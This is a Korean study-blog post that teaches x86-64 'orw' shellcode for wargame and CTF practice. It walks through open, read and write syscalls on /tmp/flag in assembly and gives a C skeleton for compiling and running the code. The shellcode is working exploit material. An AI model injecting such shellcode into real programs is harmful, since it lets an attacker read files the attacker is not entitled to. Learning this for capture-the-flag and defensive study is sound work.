Shellcode - orw Shellcode

2026. 5. 17. 18:29·공부한 것

Shellcode

셸코드(Shellcode): 익스플로잇을 위해 제작된 어셈블리 코드 조각.

orw Shellcode

orw 셸코드: 파일을 열고, 읽고 화면에 출력하는 셸코드.

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

위의 C언어 코드를 셸코드로 구현해보자

orw Shellcode를 작성하기 위해 필요한 syscall은

syscall rax rdi rsi rdx

read 0x00 unsigned int fd chat *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_mode
  1. int fd = open(”/tmp/flag”, O_RDONLY, NULL)
int fd = open("/tmp/flag", O_RDONLY, NULL);
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
  1. read(fd, buf, 0x30)
read(fd, buf, 0x30)
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
  1. write(1, buf, 0x30)
write(1, buf, 0x30)
mov rdi, 1
mov rax, 0x1
syscall
  1. 완성
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall

mov rdi, 1
mov rax, 0x1
syscall

orw 셸코드의 컴파일, 실행

위에서 작성한 orw Shellcode 를 gcc를 사용해 컴파일하려면 C언어 코드로 만들어야한다.

C언어로 셸코드 실행이 가능한 스켈레톤 코드를 작성하고 거기에 Shellcode 를 넣는다.

아래는 스켈레톤 코드와, orw Shellcode 를 넣은 스켈레톤 코드이다.

__asm__();

void run_sh();

int main() {
	run_sh();
}
__asm__(
	".global run_sh\\n"
	"run_sh:\\n"
	
	"push 0x67\\n"
	"mov rax, 0x616c662f706d742f \\n"
	"push rax\\n"
	"mov rdi, rsp\\n"
	"xor rsi, rsi\\n"
	"xor rdx, rdx\\n"
	"mov rax, 2\\n"
	"syscall\\n"
	"\\n"
	"mov rdi, rax\\n"
	"mov rsi, rsp\\n"
	"sub rsi, 0x30\\n"
	"mov rdx, 0x30\\n"
	"mov rax, 0x0\\n"
	"syscall\\n"
	"\\n"
	"mov rdi, 1\\n"
	"mov rax, 0x1\\n"
	"syscall\\n"
	"\\n"
	"xor rdi, rdi\\n"
	"mov rax, 0x3c\\n"
	"syscall");

void run_sh();

int main() {
	run_sh();
}

'공부한 것' 카테고리의 다른 글

Calling Convention  (0) 2026.05.19
Stack Canary  (0) 2026.05.18
CVE-2026-28466  (0) 2026.05.14
CVE-2026-26954  (0) 2026.05.13
CVE-2026-3672  (0) 2026.05.12
'공부한 것' 카테고리의 다른 글
  • Calling Convention
  • Stack Canary
  • CVE-2026-28466
  • CVE-2026-26954
hsnyus
hsnyus
rev, pwn
  • hsnyus
    hsnyus
    hsnyus
  • 전체
    오늘
    어제
    • 분류 전체보기 (106)
      • About (1)
      • 대외활동 (16)
      • 보안관제 (2)
      • 학교 (3)
      • 개발일지 (5)
      • 공부한 것 (34)
      • 사이버가디언즈 (9)
      • 일반 (8)
      • 스터디 (10)
      • Wargame (18)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    ctf
    스터디
    프로그래밍
    문제풀이
    드림핵
    DreamHack
    c언어
    워게임
    사이버가디언즈
    개발
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
hsnyus
Shellcode - orw Shellcode
상단으로

티스토리툴바